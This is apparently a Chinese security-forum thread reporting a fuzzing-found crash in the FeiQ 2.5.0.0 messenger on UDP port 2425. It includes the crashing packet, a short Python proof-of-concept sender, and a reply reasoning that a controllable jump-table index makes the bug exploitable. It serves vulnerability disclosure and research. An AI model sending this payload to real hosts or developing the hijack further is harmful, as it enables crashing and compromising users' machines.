上次发了那个0day以后就休息了一段时间,但是最近感觉到自己对UDP2425的recvfrom的挖掘工作还没有弄完,因为在sub_49C940函数中有污染数据外流,而外流是通过第二个参数:

但是通过分析发现外流的数据比较分散,进行静态反汇编挖掘可能比较麻烦。

而且自己的fuzz一直都是存在于理论阶段,所以使用fuzz对其进行分析,最后发现发送下面的POC时程序崩溃掉了:
1_lbt4_35#128#6CF04987CC1A#1528#22603#0#2.5a:1323191146:admin:XXCCLI-A10D5C26:0198

Python程序代码:

代码:
import socket

server = "127.0.0.1"
port = 2425
sendStr = "1_lbt4_35#128#6CF04987CC1A#1528#22603#0#2.5a:1323191146:admin:XXCCLI-A10D5C26:0198"
s = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
s.sendto(sendStr,(server,port))
s.close()
看来我的fuzz技术还可以

是否可以利用我没有去分析,这个就给大家研究吧!

附上崩溃是的图:


测试环境:XP SP3,飞秋版本2.5.0.0
附上飞秋程序:
上传的附件 FeiQ.rar

  • 标 题:答复
  • 作 者:artake
  • 时 间:2011-12-09 09:38:41

引用:
最初由 weizi发布 查看帖子
好像不能利用啊。
另外,这条信息是什么意思呢?
我初步看来一下,是可以利用的,只是有点麻烦。
上次没有说明什么时候出现崩溃,那是当我fuzz到后面的数据位:0198时就崩溃,正常是:0的没有198,我通过查看崩溃的原因,结果发现是可以利用的:

这是进行数据转换,并保存,下图0053CA89 mov     esi, [ebp+0A4h]开始读取。

可以发现我们能过控制jmp     ds:off_53D2D8[ecx*4]中得ECX,所以我们能够控制的范围为:
0x53D2D8-->53D2D8+0xff+4
只要在里面找到能过一些有效的指令,我想应该是可以控制跳到我的的数据的。

分析不对的地方,请个位指教,谢谢!